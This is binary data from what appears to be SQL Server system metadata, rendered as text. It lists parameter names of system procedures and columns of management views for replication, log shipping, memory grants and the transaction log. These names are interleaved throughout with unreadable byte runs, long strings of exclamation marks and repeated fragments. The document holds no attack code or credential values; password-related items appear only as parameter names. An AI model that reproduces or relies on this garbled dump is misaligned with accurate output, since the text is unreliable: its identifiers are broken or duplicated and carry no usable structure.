hhKis_selected0-EhhIis_updated0-EhhOis_select_all0-Ehh]is_all_columns_found0-E@objname0-cQE@tabname0-cQM@triggertype0-p'44Qtrace_event_id0-p'44Kcategory_id0-p'4=name0-F8XC@server0-F8XK@srvproduct0-F8XG@provider0-F8X@E@datasrc0-F8X@G@location0-F8X@E@provstr0-F8XE@catalog0-F8XhhM@linkedstyle0-F8X	hhK@localentry0-S44_resource_semaphore_id0-SUtarget_memory_kb0-S]max_target_memory_kb0-SStotal_memory_kb0-S[available_memory_kb0-SWgranted_memory_kb0-SQused_memory_kb0-S88
Ograntee_count0-S	88
Mwaiter_count0-S
[timeout_error_count0-SYforced_grant_count0-S88
Cpool_id0-S
88
Kpdw_node_id0-Țcdispatcher_pool_address0-ȚMtask_address0-Țx4x?state0-ȚOwait_duration0-Ț_current_item_duration0-ȚSitems_processed0-Ț88
Ofade_end_time0-Ț88
Kpdw_node_id0-88
Qtotal_sessions0-88
Oidle_sessions0-88
Sactive_requests0-88
Squeued_requests0-88
Mactive_loads0-88
Mqueued_loadsNE@v)DYdi`N-G	8)(hObG0-=PE@tblname0-=P
A@flagc0-=PE@indname0-8c@K@planhandle0-8c88
Gusecounts0-8c_memory_object_address0-8cd4dMcacheobjtype0-rC@server0-r
A@local0-r
O@duplicate_ok0-k88
Kpdw_node_id0-k88
Iprocess_id0-kKtarget_name0-k88
Iqueue_size0-kWlost_events_count0-CVO@table_server0-CVQ@table_catalog0-CVK@table_name0-CVO@table_schema0-CVM@column_name0-rSM@server_name0-rSO@catalog_name0-rSQ@assembly_name0-rSU@assembly_schema0-rS88
M@assembly_id-R0-RbbPA@ssvar0-v$f88
K@request_id0-v$fM@publication0-σ44O@publisher_id0-σO@publisher_db0-σM@publication0-σ44Q@subscriber_id0-σQ@subscriber_db0-σ88
Y@subscription_type0-σU@subscriber_name0-σ$$U@anonymous_subid0-σ	hhK@reinitanon0-jvG@toolpath0-#ZM@publication0-ݘuM@publication0-_$$A@pubid0-_O@article_name0-_$$A@artid0-_88
I@tablenick0-_Y@destination_owner0-_88
W@identity_support0-_[@destination_object0-_hhU@column_tracking0-_	00S@upload_options0-_
hhW@well_partitioned0-_88
C@status0-_88
W@processing_order0-_
hhU@delete_tracking0-_hha@compensate_for_errors0-_hh]@stream_blob_columnsdData0-$hhIIsSnapshot0-%hhIIsReadOnly0-&hhMIsSingleUser0-'hhYHasBackupChecksums0-(hhGIsDamaged0-)hhQBeginsLogChain0-*hh_HasIncompleteMetaData0-+hhQIsForceOffline0-,hhIIsCopyOnly0--[FirstRecoveryForkID0-.jj

MForkPointLSN0-/xxORecoveryModel0-0jj

[DifferentialBaseLSN0-1]DifferentialBaseGUID0-2xx_BackupTypeDescription0-3OBackupSetGUID0-4]CompressedBackupSize0-CVO@table_server0-CVQ@table_catalog0-CVK@table_name0-CVO@table_schema0-CVM@column_name0-rSM@server_name0-rSO@catalog_name0-rSQ@assembly_name0-rSU@assembly_schema0-rS88
M@assembly_id0-$$$A@pubid0-$$$A@artid0-$hha@ignore_merge_metadata0-$hhi@force_preserve_rowguidcol-R0-RbbPA@ssvar0-E@command0-K@xact_seqno0-v$f88
K@request_id0-v$fM@publication0-σ44O@publisher_id0-σO@publisher_db0-σM@publication0-σ44Q@subscriber_id0-σQ@subscriber_db0-σ88
Y@subscription_type0-σU@subscriber_name0-σ$$U@anonymous_subid		K		Uda

h
'
k
h

	y	*	Jid<C+v[
/B`	u)	PLXc{"6&>context_switches_count6&<pending_io_byte_count6&2pending_io_count6&*task_address6&&task_state6n(@name_in_db6O3Dfulltext_index_page_count6O3Fkeyphrase_index_page_count6O3$object_id6O3Hsimilarity_index_page_count6&@pending_io_byte_average6&*scheduler_id6&&session_id6&	0exec_context_id6&
&request_id6&.worker_address6&*host_address6&
8parent_task_address6,document_type6"class_id6path6 version6*manufacturer65"columnid652logical_operator658comparison_operator65value65 @handle6name6$object_id6$schema_id62procedure_number6type6(create_date64/,@table_schema64/(@table_type60*@object_name60.@object_schema6N@tabid6N(@trigger_op6N,@fonpublisher6>$@srv_orig6>"@db_orig6>4@keep_replication6>2@perform_upgrade6>2@recoveryforklsn6T*@publication6T(@table_name6T*@table_owner61:,@program_name61:2@constraint_name61:.@parent_schema61:*@parent_name61:@@referenced_object_name61:@@is_not_for_replication61:0@is_not_trusted61:	F@delete_referential_action6*@publication6"@article6$@property6@value6F@force_invalidate_snapshot6F@force_reinit_subscription6&@publisher60@publisher_type6tB*@publication6tB(@dest_table6tB(@dest_owner6i$@database6i4@backup_directory6i,@backup_share6i2@backup_job_name6iB@backup_retention_period6i0@monitor_server6iL@monitor_server_security_mode6i<@monitor_server_login6i	B@monitor_server_password6i
4@backup_threshold6i2@threshold_alert6iB@threshold_alert_enabled6i
D@history_retention_period6i.@backup_job_id6i(@primary_id6i&@overwrite6i:@ignoreremotemonitor6i8@backup_compression6M@4@capture_instance6$@gencheck6&@commongen6.@commongenguid60@commongenvalid6*@compatlevel6"@pubid6"<@use_partition_groups6"2@dynamic_filters6"D@can_use_partition_groups6":@has_dynamic_filters6"N@dynamic_filters_function_list6"0@uses_host_name6"4@uses_suser_sname6*@publication6,@partition_id6,@deletefolder6P@pubid6P@subid6P(@subscriber6P.@subscriber_db6P@valid6P8@force_delete_other6P8@subscriber_deleted6P<@subscriberdb_deleted6'&1@subid6'&1.@schemaversion6'&1(@schemaguid60@pubid6@pubid6@artid@is_not_trusted61:	F@delete_referential_action61:
F@update_referential_action6m,@linkedserver6*@publication6"@article6$@property6@value6F@force_invalidate_snapshot6F@force_reinit_subscription6&@publisher60@publisher_type6[@objid6[@artid6&@src_objid6@artid6.@artcolcounter6*@param_count6.@publishertype6J@userdefinedtypestobasetypes6(@xmltontext6N@maxtypestomatchingnonmaxtypes6	,@maptimestamp6
2@setdefaultnulls6F@newdatetimetypestostrings6F@hierarchyidtovarbinarymax6
Z@largeuserdefinedtypestovarbinarymax6H@spatialtypestovarbinarymax6tB*@publication6tB(@dest_table6tB(@dest_owner6Xy@artid6i$@database6i4@backup_directory6i,@backup_share6i2@backup_job_name6iB@backup_retention_period6i0@monitor_server6iL@monitor_server_security_mode6i<@monitor_server_login6i	B@monitor_server_password6i
4@backup_threshold6i2@threshold_alert6iB@threshold_alert_enabled6i
D@history_retention_period6i.@backup_job_id6i(@primary_id6i&@overwrite6in		D			
l@Lj.J.&x> *z~F|^j2^
tZv


F
N@
,r
22f<\NrX>x
~d

8

`6:z
`/)QA##"6@	,logical_reads6@	0&nest_level6@	:open_resultset_count6@	>open_transaction_count6@	2percent_complete6@		(plan_handle6@	/&prev_error6@	4&query_hash6@	50query_plan_hash6@	#4quoted_identifier6@	reads6@	&request_id6@	.$row_count6@	*scheduler_id6@	&session_id6@	&sql_handle6@	&start_time6@	:statement_end_offset6@	>statement_start_offset6@	status6@	*task_address6@	$text_size6@	6total_elapsed_time6@	.transaction_id6@	+Htransaction_isolation_level6@	 user_id6@	,wait_resource6@	$wait_time6@	$wait_type6@	writes6xc,@catalog_name6xc@dummy6xc*@server_name6xc,@catalog_name6(@subscriber6&@publisher6@found6*@publication6"@article6@objid66"@objname66@objid67&@publisher67,@publisher_db67*@publication67(@subscriber67.@subscriber_db_length64B"key_name64B.key_thumbprint64B"key_type6 E"batch_id6 E
0batch_timestamp6 E&catalog_id6 E:crawl_memory_address6 E(database_id6 E&doc_failed6 E"hr_batch6 E	.is_retry_batch6 E.memory_address6 EBmemregion_memory_address6 E
(retry_hints6 E@retry_hints_description6 E"table_id6& @handle6&$column_id6&(column_name6&*column_usage6+*@srvrolename6Y@ftcat6y created6y(database_id6yid6y$object_id6ysid6h @source6h(@source_opt6htype6hdata63$commit_ts63 xdes_id63&commit_lbn63&commit_csn63(commit_time6$@newvalue6O*cluster_name6O(quorum_type6O2quorum_type_desc6O*quorum_state6O4quorum_state_desc6s$@binvalue6s$@hexvalue67
"@tabname67
&@indexname67
.@verboseoutput67
,@query_sample6(database_id6$rowset_id6Taggregated_record_length_in_bytes6(pdw_node_id6N0distribution_id6N(pdw_node_id6Nname6N"position6bt$object_id6bt"index_id6bt,physical_name6i @server6i"@catalog6i @schema6i@name6i,TABLE_CATALOG6i*TABLE_SCHEMA6i&TABLE_NAME6i0VIEW_DEFINITION6i*CHECK_OPTION6i*IS_UPDATABLE6i(DESCRIPTION6a(@table_name6a*@table_owner6a2@table_qualifier6a(@table_type6a*@fUsePattern6xc,@catalog_name6xc@dummy6xc*@server_name6xc,@catalog_name6
[02@pk_table_schema6
[04@pk_table_catalog6
[0>@foreignkey_tab_schema6
[0@@foreignkey_tab_catalog69mL"@srvname60@procedure_name6,@group_number64@procedure_schema60@parameter_name64PROCEDURE_CATALOG62PROCEDURE_SCHEMA6.PROCEDURE_NAME6.PARAMETER_NAME62ORDINAL_POSITION6.PARAMETER_TYPE6:PARAMETER_HASDEFAULT64PARAMETER_DEFAULT6	(IS_NULLABLE6
$DATA_TYPE6*DATA_TYPE_9064MANAGED_DATA_TYPE6
BCHARACTER_MAXIMUM_LENGTH6HCHARACTER_MAXIMUM_LENGTH_906>CHARACTER_OCTET_LENGTH6DCHARACTER_OCTET_LENGTH_9064NUMERIC_PRECISION6,NUMERIC_SCALE6(DESCRIPTION6$TYPE_NAME60LOCAL_TYPE_NAME6XSS_XML_SCHEMACOLLECTION_CATALOGNAME6VSS_XML_SCHEMACOLLECTION_SCHEMANAME6HSS_XML_SCHEMACOLLECTIONNAME66SS_UDT_CATALOGNAME64SS_UDT_SCHEMANAME6(SS_UDT_NAME6BSS_UDT_ASSEMBLY_TYPENAME6:SS_TYPE_CATALOG_NAME66SS_TYPE_SCHEMANAME6<SS_DATETIME_PRECISIONs+6s+4@varbinary8_value6E&@publisher6E,@publisher_db6E*@publication6E(@subscriber6E.@subscriber_db6E6@subscription_type6E.@schemaversion6E6@run_at_subscriber]6]@mode6(@subscriber6&@publisher6@found6*@publication6"@article6@objid66"@objname66@objidT.x@fZ6~Pp6vP4\*`)R%Lpu6`:server_instance_name6`8server_principal_id6`<server_principal_name6`:server_principal_sid6`&session_id6`Lsession_server_principal_name6`$statement6`$succeeded6`Jtarget_database_principal_id6`Ntarget_database_principal_name6`
Ftarget_server_principal_id6`Jtarget_server_principal_name6`Htarget_server_principal_sid6`<user_defined_event_id6`Buser_defined_information6m&@object_id6m$@stats_id6m*last_updated6m:modification_counter6m$object_id6mrows6m*rows_sampled6m"stats_id6msteps6m0unfiltered_rows6(@DatabaseId6 @FileId60available_bytes6(database_id6 file_id62file_system_type68logical_volume_name6*is_read_only6
,is_compressed6 pool_id6name6<statistics_start_time66total_cpu_usage_ms60cache_memory_kb64compile_memory_kb62used_memgrant_kb6:total_memgrant_count6	Jtotal_memgrant_timeout_count6
<active_memgrant_count66active_memgrant_kb6<memgrant_waiter_count6
,max_memory_kb6.used_memory_kb62target_memory_kb68out_of_memory_count60min_cpu_percent60max_cpu_percent66min_memory_percent66max_memory_percent60cap_cpu_percent60conversation_id6*is_initiator60to_service_name66to_broker_instance64from_service_name6:from_broker_instance6@adjacent_broker_address6@message_sequence_number6	@message_fragment_number6
.hops_remaining6*time_to_live6,time_consumed6
&message_id6"qId6"qAttr6"q LimitId6"qWKB6"q"@gGeoObj6"q@minx6"q@miny6"q@maxx6"q@maxy6"q*@cardinality6"q$@maxDepth6"q4@tessellationMode6"q	0@distanceBuffer6ӟ*component_id6ӟ(property_id6ӟ,property_name6ӟ,physical_name6ӟis_key6(pdw_node_id6"log_name6&log_source6"event_id6&event_type6,event_message6,generate_time6&write_time6
&@data_type6
(@best_match6h@cmd6h@debug6(@agent_name6&@runstatus6@pubid6@artid66@update_proc_names6k@cmd6k@force6k @indentҢ6&@publisher6*@distributor6(@subscriber6&@distribdb6=!4@qual_object_name6=!@objid6=!<@pass_through_scripts6=!8@target_object_name6*@publication6"@article6,@returnfilter6&@publisher6@found6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db66@subscription_typeğ6ğ @status6ğ"@warning6ğ4@publication_typeo6o4@source_object_id6o&@column_id6.@source_schema6*@source_name64@capture_instance6<@supports_net_changes6
@objid6
,@max_identity6
,@min_identity6[@pubid6$@genstart6@pubid6,@partition_id6"@numgens6:@mingen_to_enumerate6:@maxgen_to_enumerate6&@tablename6$@procname6$&@tablenick6$"@rowguid6$2@proxied_lineage6$,@proxied_colv6$L@proxy_logical_record_lineage6$*@compatleveld6"qAttr6"q LimitId6"qWKB6"q"@gGeoObj6"q@minx6"q@miny6"q@maxx6"q@maxy6"q*@cardinality6"q$@maxDepth6"q4@tessellationMode6"q	0@distanceBuffer.6.@geog6]
,cache_address6]
name6]
type6]
(table_level6]
,buckets_count6]
:buckets_in_use_count6]
6buckets_min_length6]
6buckets_max_length6]
	6buckets_avg_length6]

@buckets_max_length_ever6ӟ*component_id6ӟf4tBJz>\8ff<D4~\\6	p6j	.	
,
,	
h	\

zD
n

X
(VlL>$^*\lD(d:jv


fJ(<r*LnH``)S>(5r6
 is_node6*is_singleton6Lis_xquery_max_length_inferred6
@is_xquery_type_inferred6&max_length6name6$object_id6path6 path_id6$path_type6.path_type_desc6$precision6scale6.system_type_id6*user_type_id62xml_component_id64xquery_max_length6	@xquery_type_description6"imageval6objid6"subobjid6"valclass6valnum6value6$column_id6,dictionary_id6	(entry_count6flags6 hobt_id6 last_id6
*on_disk_size6*partition_id6type6 version6	 base_id6$column_id6,encoding_type6$has_nulls6 hobt_id6
$magnitude6(max_data_id6
(min_data_id6&null_value6*on_disk_size6*partition_id6<primary_dictionary_id6$row_count6@secondary_dictionary_id6&segment_id6 version6$object_id62parent_object_id6.directory_name6<filename_collation_id6@filename_collation_name6&is_enabled6$object_id6&cache_size6(create_date6,current_value6$increment6$is_cached6&is_cycling6*is_exhausted6
,is_ms_shipped6*is_published68is_schema_published6,maximum_value6,minimum_value6	(modify_date6name6$object_id62parent_object_id6$precision6*principal_id6scale6$schema_id6
(start_value6.system_type_id6type6$type_desc6*user_type_id6:property_description6(property_id60property_int_id62property_list_id6,property_name64property_set_guid6(create_date6(modify_date6name6*principal_id62property_list_id6"language6(language_id6(stoplist_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!d<|T 


j
0

rN2tL 


f
<

			z	T	0	
	`.
`$Z6bHpD d$fJ&v\6`4)TV@b6Ftotal_queued_request_count68total_request_count6kW@class6kW(@thumbprint6kW$entity_id6kW6is_signature_valid6kW$is_signed6kWtype6D
1*buffer_count6D
1(buffer_size6D
12max_buffer_limit6D
12min_buffer_limit6D
1 pool_id6^total_suboptimal_plan_generation_count6Jtotal_reduced_memgrant_count6
R1$@flush_ts6
R12@cleanup_version6
R1$@rowcount6
R10@date_cleanedup6=(database_id6="group_id6=&replica_id6=4group_database_id6="is_local6=<synchronization_state6=Fsynchronization_state_desc6=<is_commit_participant6=	>synchronization_health6=
Hsynchronization_health_desc6=.database_state6=8database_state_desc6=
*is_suspended6=.suspend_reason6=8suspend_reason_desc6=*recovery_lsn6=.truncation_lsn6=,last_sent_lsn6=.last_sent_time6=4last_received_lsn6=6last_received_time6=4last_hardened_lsn6=6last_hardened_time6=0last_redone_lsn6=2last_redone_time6=8log_send_queue_size6=,log_send_rate6=0redo_queue_size6=$redo_rate6=:filestream_send_rate6=.end_of_log_lsn6= 0last_commit_lsn6=!2last_commit_time6="Dlow_water_mark_for_ghosts6i*attribute_id6i.attribute_name6i0attribute_value6$object_id62procedure_number6name6*parameter_id6.system_type_id6*user_type_id6$precision6scale6	&max_length6
0real_max_length6$is_output64has_default_value6
,default_value64xml_collection_id6T,@table_server6T(@pktab_name6T,@pktab_schema6T.@pktab_catalog6T(@fktab_name6T,@fktab_schema6T.@fktab_catalog6/)O*@column_name6(@table_name6*@table_owner62@table_qualifier6(@table_type6*@fUsePattern6|&@publisher6|,@publisher_db6|*@publication6|"@use_ftp6|6@subscription_type6|(@force_zero6g&@publisher6g,@publisher_db6g*@publication6g$@reserved6g*@from_backupz6z@type6z@dbms6z"@version6w*@publication6w@found6w&@publisher6w0@publisher_type6&@publisher6M8&@publisher6<"$@agent_id6
@name6
&@publisher6
,@publisher_db6
*@publication6
4@publication_type6
&@local_job6
$@freqtype6
,@freqinterval6
	*@freqsubtype6

2@freqsubinterval6
<@freqrelativeinterval6
<@freqrecurrencefactor6

2@activestartdate6
.@activeenddate6
<@activestarttimeofday6
8@activeendtimeofday6
"@command6
,@job_existing6
0@snapshot_jobid6
B@publisher_security_mode6
2@publisher_login6
8@publisher_password6
&@job_login6
,@job_password6
0@publisher_type6
$@internal:6:(@session_id6:$@phase_id6$@agent_id6&@timestamp6m'8@original_publisher6m',@publisher_db6m'<@redirected_publisher6[@mode6[(@primary_id6[0@primary_server6[0@monitor_server6[L@monitor_server_security_mode6[4@primary_database6[4@backup_threshold6[2@threshold_alert6[	B@threshold_alert_enabled6[
4@last_backup_file6[4@last_backup_date6[<@last_backup_date_utc6[
D@history_retention_period6[:@ignoreremotemonitor6-t@pubid6-t@artid6-t$@property6-t@value6qJ*@publication6qJ(@subscriber6qJ.@subscriber_db6qJ&@publisher6qJ,@publisher_db6)@pubid6)V@dynamic_snapshot_views_table_name6)>@need_ctsview_rowtrack6)<@create_dynamic_views6)*@max_bcp_gen,@table_schema6w=d*@column_name6(@table_name6,@table_sche|:^r@\$,.p^4\2d<x&


h~.`	0	N
	h<j4
	T,T		Z



0\~H$Nh8x4v ^zP&8`VZ0&
0r>pL(^`q)2U2#"`6)`2end_log_block_id6)`%>free_ref_slot_occupied6)`
0full_block_only6)`@incomplete_cache_buffer6)` is_idle6)`8next_read_ahead_lsn6)`2outstanding_read6)`	0persistent_only6)` Nprivate_pool_hit_search_length6)`4private_pool_hits6)`:private_pool_hits_RA6)`"Vprivate_pool_hits_search_length_RA6)`Nprivate_pool_last_access_point6)`Tprivate_pool_last_RA_access_point6)`!Pprivate_pool_miss_search_length6)`#Vprivate_pool_miss_search_length_RA6)`8private_pool_misses6)`>private_pool_misses_RA6)`4private_pool_size6)`4progress_category6)`(reached_end6)`8read_ahead_distance6)`0read_ahead_done6)`
4read_ahead_target6)`2recovery_unit_id6)`$0reference_count6)`2resource_pool_id6)`.scan_direction6)`0share_intention6)`$start_lsn6)`,stats_enabled6)`<wait_time_before_idle6<current_item_duration6@dispatcher_pool_address6,fade_end_time60items_processed6state6*task_address6,wait_duration6)`&Btarget_private_pool_size6)`'.truncate_point6)`(&mem_status6)`)(scan_status6)`,6sigma_blocks_ahead6)`0<log_consumer_deleting6)`1Blog_consumer_ref_counter6Vȼ&@object_id6VȼB@browse_information_mode6Vȼ.column_ordinal6Vȼ
.collation_name6VȼJassembly_qualified_type_name6Vȼ$*error_number6Vȼ%.error_severity6Vȼ&(error_state6Vȼ',error_message6Vȼ(&error_type6Vȼ)0error_type_desc6T @server6T(@droplogins6 counter6&occurrence6value6(pdw_node_id6'.@pk_table_name6'2@pk_table_schema6':@foreignkey_tab_name6'>@foreignkey_tab_schema6'@@foreignkey_tab_catalog6':@foreignkey_tab_name6'>@foreignkey_tab_schema6'.@pk_table_name6'2@pk_table_schema6'4@pk_table_catalog6'2@pk_table_schema6'4@pk_table_catalog6'>@foreignkey_tab_schema6'@@foreignkey_tab_catalog6'*@server_name6'2@pk_catalog_name6'2@fk_catalog_name6'.@pk_table_name6'2@pk_table_schema6':@foreignkey_tab_name6'>@foreignkey_tab_schema6	i(@table_name6	i,@table_schema6	i(@table_type6	i,@table_schema6	i(@table_type6	i,@table_server6	i.@table_catalog6	i(@table_name6	i,@table_schema6	i(@table_type6㜂*VIEW_CATALOG6㜂(VIEW_SCHEMA6㜂$VIEW_NAME6㜂,TABLE_CATALOG6㜂*TABLE_SCHEMA6㜂&TABLE_NAME6㜂(COLUMN_NAME6Gy&@user_name6w(@profile_id6t%@mode6xv$@art_nick6xv8@max_changes_in_gen6xv"@nickbin6xv@gen6xv0@changes_in_gen6xv4@use_existing_gen6l8}.@provider_name6l8}.@property_name6l8}0@property_valueeferencing_class_desc6
8is_caller_dependent6Vȼ&@object_id6VȼB@browse_information_mode6Vȼ$is_hidden6Vȼ.column_ordinal6Vȼname6Vȼ(is_nullable6Vȼ.system_type_id6Vȼ2system_type_name6Vȼ&max_length6Vȼ$precision6Vȼ	scale6Vȼ
.collation_name6Vȼ*user_type_id6Vȼ6user_type_database6Vȼ
2user_type_schema6Vȼ.user_type_name6VȼJassembly_qualified_type_name6Vȼ4xml_collection_id6Vȼ@xml_collection_database6Vȼ<xml_collection_schema6Vȼ8xml_collection_name6Vȼ0is_xml_document6Vȼ4is_case_sensitive6VȼBis_fixed_length_clr_type6Vȼ,source_server6Vȼ0source_database6Vȼ,source_schema6Vȼ*source_table6Vȼ,source_column6Vȼ6is_identity_column6Vȼ<is_part_of_unique_key6Vȼ,is_updateable6Vȼ6is_computed_column6Vȼ :is_sparse_column_set6Vȼ!Bordinal_in_order_by_list6Vȼ">order_by_is_descending6Vȼ#:order_by_list_length6Vȼ$*error_number6Vȼ%.error_severity6Vȼ&(error_state6Vȼ',error_message6Vȼ(&error_type6Vȼ)0error_type_desc6T @server6T(@droplogins6h>


0
V
6@

hDBd
*r

vhLt@`Px&@fr(B(P|8	|	T	X(Z2TZ|H`.			@`)*VE}62recovery_unit_id6~>(@DatabaseId6)Btransaction_sequence_num6VJ(@level0name6VJ(@level0type6VJ(@level1name6VJ(@level1type6VJ(@level2name6VJ(@level2type6VJ@name6VJ@value6D(@DatabaseId6D @FileId6D(database_id6D(file_handle6D file_id6D
"io_stall6D2io_stall_read_ms6D	4io_stall_write_ms6D4num_of_bytes_read6D:num_of_bytes_written6D*num_of_reads6D,num_of_writes6D$sample_ms6D6size_on_disk_bytes6~>(@ConsumerId6~>(database_id6~>2recovery_unit_id6~>(consumer_id6~>6start_log_block_id6~>4last_log_block_id6~>shared6~>(ref_counter6~>*cache_buffer6 @spid6 (document_id6 ,creation_time6 8dormant_duration_ms6k6CONSTRAINT_CATALOG6k4CONSTRAINT_SCHEMA6k0CONSTRAINT_NAME6k,TABLE_CATALOG6k*TABLE_SCHEMA6k&TABLE_NAME6k0CONSTRAINT_TYPE6k,IS_DEFERRABLE6k	6INITIALLY_DEFERRED6IE@@snapshot_session_token6IE,@dynsnapseqno6=	&@publisher6=	,@publisher_db6=	*@publication6=	6@subscription_type64@replication_type6&@publisher6,@publisher_db6B@publisher_security_mode62@publisher_login68@publisher_password6*@publication6(@subscriber6	.@subscriber_db6
D@subscriber_security_mode64@subscriber_login6:@subscriber_password6
*@distributor6F@distributor_security_mode66@distributor_login6<@distributor_password62@subscription_id66@independent_agent66@subscription_type6D@use_interactive_resolver6.@failover_mode6,@use_web_sync6$@hostname6<&@publisher6<,@publisher_db6<*@publication6$@is_biton6<(@subscriber6<@type6<@login6<$@password6<6@commit_batch_size6<6@status_batch_size6<2@flush_frequency6<0@frequency_type6<	8@frequency_interval6<
J@frequency_relative_interval6<J@frequency_recurrence_factor6<4@frequency_subday6<
F@frequency_subday_interval6<D@active_start_time_of_day6<@@active_end_time_of_day6<6@active_start_date6<2@active_end_date6<*@description6<.@security_mode6<8@encrypted_password6<&@publisher6<0@publisher_type6<$@internal6$@inputcmd6 @dbname6@owner6"@objname6'&@publisher6'@owner6'&@tablename6'$@table_id6'2@OptimizeTrigger6'4@RecreateTriggers6'@XCALL6',@article_view6'	"@columns6'
4@publishedcolumns6'&@repl_freq6'.@filter_clause6'
<@distributortimestamp6'*@instance_id6/(@request_id6/(@originator6/.@originator_db6/@@originator_publication6y-*@publication6y-"@article6y-&@publisher6 @folder6[F&@lockowner6_@pubid6_@artid6*@publication6V@dynamic_snapshot_views_table_name6<@create_dynamic_views6*@max_bcp_genication_type6&@publisher6,@publisher_db6B@publisher_security_mode62@publisher_login68@publisher_password6*@publication6(@subscriber6	.@subscriber_db6
D@subscriber_security_mode64@subscriber_login6:@subscriber_password6
*@distributor6F@distributor_security_mode66@distributor_login6<@distributor_password62@subscription_id66@independent_agent66@subscription_type6D@use_interactive_resolver6.@failover_mode6,@use_web_sync6$@hostname6<&@publisher6<,@publisher_db6<*@publication6$@is_biton6<(@subscriber6<@type6<@login6<$@password6<6@commit_batch_size6<6@status_batch_size6<x$L^6@		
Z
$
(l

v		p
>
		


JZ~LXN*f2nN&vJ"|tL$,|T\"Hr>lBnxl(HBBV.d`R)^Wm'MBgT6
@Log Record Fixed Length6
4Log Record Length6
(Log Reserve6
6LogBlockGeneration6
&Max XDESID6
(Minimum LSN6
(Modify Size6
@Next Replicated End LSN6
*Num Elements6
2Num Transactions6
,Offset in Row6
HOldest Replicated Begin LSN6
$Operation6
 Page ID6
(PartitionId6
	*Previous LSN6
4Previous Page LSN6
"RowFlags6
 Slot ID6
"Tag Bits6
.Transaction ID6>h"ag_db_id6>h&ag_db_name6>hag_id6>h.truncation_lsn6o	Bblocking_exec_context_id6o8blocking_session_id6o<blocking_task_address6o0exec_context_id6o2resource_address6o
:resource_description6o&session_id6o2wait_duration_ms6o$wait_type6o:waiting_task_address6U}(database_id6U}&error_code6U}(in_progress6U}job_id6U}&object_id16U}&object_id26U}&object_id36U}&object_id46U}	*request_type6U}
(retry_count6U}&session_id6U}(time_queued6z$@resample6WQ)(database_id6WQ)2equality_columns6WQ)2included_columns6WQ)*index_handle6WQ)6inequality_columns6WQ)$object_id6WQ)$statement6X&@complevel6X@dbid6X@objid6Xcolid6X"doccount6Xdocid6X"docidmax6X"docidmin6X	$doclength6Xdupseq6X(internalPid6X keyword6Xocc6X
"occcount6X$unusedPid6Vname6Vvalue67$@rolename6v%&definition6v%$object_id6v%2procedure_number6xQ*partition_id6xQ2sublatch_address6xQ6superlatch_address6,+ @cookie6xdop6x&grant_time6x4granted_memory_kb6x"group_id6x0ideal_memory_kb6x4is_next_candidate6x"is_small6x6max_used_memory_kb6x(plan_handle6x pool_id6x&query_cost6x"queue_id6x&request_id6x*request_time6x8requested_memory_kb6x	6required_memory_kb6x<resource_semaphore_id6x*scheduler_id6x&session_id6x&sql_handle6x
(timeout_sec6x
.used_memory_kb6x&wait_order6x*wait_time_ms6@dbid6@objid6$column_id6*display_term6.document_count6 keyword6$bucket_no6*cache_buffer6(database_id6*log_block_id6
"4Repl Min Hold LSN6
#&Server UID6
$SPID6
&$Xact Type6
(2Transaction Name6
)0Transaction SID6
*<Parent Transaction ID6
+JOldest Active Transaction ID6
, Xact ID6
-*Xact Node ID6
.6Xact Node Local ID6
14Transaction Begin6
26Replicated Records6
34Oldest Active LSN6
4(Server Name6
6$Mark Name6
74Repl Partition ID6
8&Repl Epoch6
9"Repl CSN6
:&Repl Flags6
;"Repl Msg6
<,Master XDESID6
=(Master DBID6
>4Preplog Begin LSN6
?*Prepare Time6
@,Virtual Clock6
A6Previous Savepoint6
B.Savepoint Name6
C4Rowbits First Bit6
D4Rowbits Bit Count6
E4Rowbits Bit Value6
F0Number of Locks6
H4LSN before writes6
I,Pages Written6
K.Publication ID6
M.Partial Status6
P$New Value6
Q$Old Value6
R.New Split Page6
S*Rows Deleted6
W.NewAllocUnitId6
Y(Meta Status6
\,Physical Name6
]*Logical Name6
_"RowsetId6
` TextPtr6
c$Text Size6
dOffset6
e"Old Size6
f"New Size6
m&VLFs added6
t4RowLog Contents 06
u4RowLog Contents 16
v4RowLog Contents 26
w4RowLog Contents 36
x4RowLog Contents 46
y4RowLog Contents 56
|8PageFormat PageType6
}:PageFormat PageFlags6
~:PageFormat PageLevel6
8PageFormat PageStat6
@PageFormat FormatOptionr6r4@physical_locator68!q.@database_name68!q@mode68!q,@update_table6< ag_nameZ0pR6jDpF Z8

~
X
@
F* 
\8rZ:



p
N
2

				T	*	zR,hB$tP\ x\6r vL,8vDJnpb.^88N$BzpHD8$lX2ZrhF`=-M)<XM0-Y
I@functname0-YE@dllname0-*0S@procedure_name0-*0U@procedure_owner0-*0]@procedure_qualifier0-*0M@column_name0-*088
